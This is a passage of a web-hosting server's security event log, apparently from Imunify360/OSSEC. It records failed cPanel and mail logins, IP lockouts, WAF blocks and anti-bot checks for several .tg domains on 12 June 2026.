abuser: 193.189.100.204
country_id: 2661886
description:
[2026-06-12 22:18:20 +0000] info [cpaneld] 193.189.100.204 - egjvuiox "GET /execute/DomainInfo/domains_data HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.132
country_id: 2963597
description:
Jun 12 22:18:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.132 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.189.100.204
country_id: 2661886
description:
193.189.100.204 - oviaiart [12/Jun/2026:22:19:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792365&pdata=https%253A%252F%252Fkloto1.mairie.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302787 HTTP/2.0" 302 0 kloto1.mairie.tg "https://kloto1.mairie.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.189.100.204


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.42.116.42
country_id: 2750405
description:
192.42.116.42 - libertepansel [12/Jun/2026:22:20:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117724&pdata=https%253A%252F%252Flibertetogo.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302806 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.42.116.42


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.81.30
country_id: 6251999
description:
[2026-06-12 22:19:20 +0000] info [cpaneld] 217.181.81.30 - pnlpzmfv "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.42.116.42
country_id: 2750405
description:
192.42.116.42 - lhqeyybr [12/Jun/2026:22:20:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158291&pdata=https%253A%252F%252Flvdt.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302822 HTTP/2.0" 302 0 lvdt.tg "https://lvdt.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.42.116.42


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 164.215.103.71
country_id: 241170
description:
Jun 12 22:20:57 ns5 pure-ftpd[1924145]: (?@164.215.103.71) [INFO] New connection from 164.215.103.71


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.167
country_id: 2921044
description:
185.220.101.167 - pkyvzjjc [12/Jun/2026:22:21:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7128476&pdata=https%253A%252F%252Fsocial-infos.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302876 HTTP/2.0" 302 0 social-infos.tg "https://social-infos.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.167


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 22:21:45 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.211.100.92
country_id: 3469034
description:
Jun 12 22:22:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.211.100.92 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 128.31.0.13
country_id: 6252001
description:
128.31.0.13 - ttfuehop [12/Jun/2026:22:22:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646119&pdata=https%253A%252F%252Fmftogo.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302939 HTTP/2.0" 302 0 mftogo.tg "https://mftogo.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:128.31.0.13


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.55.81.1
country_id: 3017382
description:
203.55.81.1 - mipbtgnb [12/Jun/2026:22:22:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999305&pdata=https%253A%252F%252Fsophie-immobilier.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781302955 HTTP/2.0" 302 0 sophie-immobilier.tg "https://sophie-immobilier.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.55.81.1


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 107.189.10.175
country_id: 2960313
description:
107.189.10.175 - hphhdcxi [12/Jun/2026:22:23:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6735770&pdata=https%253A%252F%252Ftest.free.netmaster.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781303017 HTTP/2.0" 302 0 test.free.netmaster.tg "https://test.free.netmaster.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:107.189.10.175


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 107.189.13.254
country_id: 2960313
description:
107.189.13.254 - naduwpdk [12/Jun/2026:22:23:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066276&pdata=https%253A%252F%252Ftilitulab.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781303032 HTTP/2.0" 302 0 tilitulab.tg "https://tilitulab.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:107.189.13.254


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 90.249.73.34
country_id: 2635167
description:
Jun 12 22:23:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 90.249.73.34 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 22:24:27 ns5 pure-ftpd[1926272]: (?@137.184.97.15) [WARNING] Authentication failed for user [Fre]


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.153.38
country_id: 1880251
domain: ucao-uut.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/inscription/ucaoinscription/vendor/symfony/translation/Resources/schemas/xliff-core-1.2-strict.xsd||User:ucaouut||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 12 22:31:02 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 114.119.137.128
country_id: 1880251
domain: ucao-uut.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/inscription/ucaoinscription/vendor/phpunit/phpunit/phpunit.xsd||User:ucaouut||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.92.38.60
country_id: 2661886
description:
Jun 12 22:32:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.92.38.60 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.38.60
country_id: 2661886
description:
2026-06-12 22:33:01 dovecot_plain authenticator failed for H=longfellow.logicserver.co.uk (9x12zltm83h0i0izn7) [45.92.38.60]:63730: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 22:34:52 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.183.93.195
country_id: 3469034
description:
Jun 12 22:35:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.183.93.195 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.243.47.83
country_id: 2017370
description:
[2026-06-12 22:36:26 +0000] info [cpaneld] 94.243.47.83 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.74.121.5
country_id: 1562822
description:
2026-06-12 22:36:41 dovecot_plain authenticator failed for H=(t0hnzf84chq3akr3l09fslhcv70370og) [103.74.121.5]:34452: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.8.11.197
country_id: 3895114
description:
[2026-06-12 22:36:59 +0000] info [cpaneld] 179.8.11.197 - vi "GET /login/?login_only=1&user=vi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.163.32.6
country_id: 2635167
description:
[2026-06-12 22:36:28 +0000] info [cpaneld] 86.163.32.6 - vitrinenews "GET /login/?login_only=1&user=vitrinenews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrinenews (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.22.16.89
country_id: 1605651
description:
[2026-06-12 22:36:32 +0000] info [cpaneld] 184.22.16.89 - vitrinenewstg "GET /login/?login_only=1&user=vitrinenewstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrinenewstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.234.245.139
country_id: 298795
description:
[2026-06-12 22:36:46 +0000] info [cpaneld] 88.234.245.139 - vitrin "GET /login/?login_only=1&user=vitrin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.31.166.31
country_id: 290557
description:
[2026-06-12 22:36:51 +0000] info [cpaneld] 5.31.166.31 - vitr "GET /login/?login_only=1&user=vitr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitr (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 125.212.159.251
country_id: 1562822
description:
125.212.159.251 - - [12/Jun/2026:22:40:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738899&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fhomme-marie-qui-refuse-de-manger-le-repas-de-sa-femme%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781304034 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/homme-marie-qui-refuse-de-manger-le-repas-de-sa-femme/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.4333.1295 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:125.212.159.251


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.170.76.223
country_id: 2363686
description:
[2026-06-12 22:41:08 +0000] info [cpaneld] 196.170.76.223 NEW jvrzfkho:3eHH4tJqDimE5zcc address=196.170.76.223,app=cpaneld,creator=jvrzfkho,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [12/Jun/2026:22:41:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6801001&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781304070 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.35.178.104
country_id: 732800
description:
Jun 12 22:43:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.35.178.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 12 22:44:02 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 12 22:43:45 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 12 22:43:45 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.98.41.27
country_id: 1269750
description:
Jun 12 22:44:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.98.41.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 12 22:44:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.226.88.121
country_id: 2661886
description:
Jun 12 22:44:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.226.88.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.206.67.83
country_id: 241170
description:
Jun 12 22:44:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.206.67.83 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 12 22:44:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 12 22:44:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 12 22:44:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 12 22:44:42 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 12 22:45:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 12 22:45:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.34
country_id: 1835841
description:
Jun 12 22:45:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.34 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.213.83.134
country_id: 1643084
description:
185.213.83.134 - - [12/Jun/2026:22:46:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7367838&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fadministration%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781304398 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/administration/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.213.83.134


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 12 22:46:50 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.165
country_id: 732800
description:
Jun 12 22:46:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.101.164
country_id: 3865483
description:
Jun 12 22:46:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.101.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 12 22:46:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.47.99.66
country_id: 3077311
description:
Jun 12 22:47:58 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.47.99.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 148.222.185.43
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-49.148.222.185.43||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.5.203
country_id: 2363686
description:
[2026-06-12 22:49:32 +0000] info [cpaneld] 196.171.5.203 NEW pnls:6Pr2y8I92iwb06z3 address=196.171.5.203,app=cpaneld,creator=pnls,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.230
country_id: 3469034
description:
Jun 12 22:49:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.230 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.13.22.17
country_id: 1522867
description:
[2026-06-12 22:52:11 +0000] info [cpaneld] 185.13.22.17 - td "GET /login/?login_only=1&user=td&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user td (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.176.72.151
country_id: 3932488
description:
[2026-06-12 22:52:06 +0000] info [cpaneld] 181.176.72.151 - tdn "GET /login/?login_only=1&user=tdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tdn (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 23.229.125.225
country_id: 6252001
domain: sodigaz.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:23.229.125.225||TA:23.229.125.225||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.68.148.0
country_id: 2017370
description:
Jun 12 22:58:12 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.68.148.0 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 12 22:58:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 12 22:59:09 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 12 22:58:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.100.16.74
country_id: 2017370
description:
Jun 12 22:58:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.100.16.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.173
country_id: 1269750
description:
Jun 12 22:58:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.34
country_id: 1835841
description:
Jun 12 22:59:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.56.240.153
country_id: 1269750
description:
Jun 12 22:58:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.56.240.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 12 22:59:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.51.29.53
country_id: 1269750
description:
Jun 12 22:59:09 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.51.29.53 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.108
country_id: 1269750
description:
Jun 12 23:00:03 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.87.33.2
country_id: 798544
description:
Jun 12 22:59:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.87.33.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.240
country_id: 1269750
description:
Jun 12 22:59:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.87.152
country_id: 1814991
description:
Jun 12 22:59:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.87.152 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 12 22:59:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 12 23:01:05 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.108
country_id: 1269750
description:
Jun 12 23:00:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 12 23:00:42 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.103.253.188
country_id: 1820814
description:
Jun 12 23:00:44 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.103.253.188 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.140
country_id: 6252001
description:
Jun 12 23:00:44 ns5 pure-ftpd[1946292]: (?@198.235.24.140) [INFO] New connection from 198.235.24.140


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.114.158.24
country_id: 1814991
description:
2026-06-12 23:06:15 H=(localhost.localdomain) [122.114.158.24]:58228 F=<info@dhl.com> rejected RCPT <info@wellcity.tg>: The mail server could not deliver mail to info@wellcity.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.109.120
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:163.198.109.120||TA:163.198.109.120||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.237.246
country_id: 3508796
description:
[2026-06-12 23:06:59 +0000] info [cpaneld] 38.156.237.246 - cent "GET /login/?login_only=1&user=cent&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cent (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
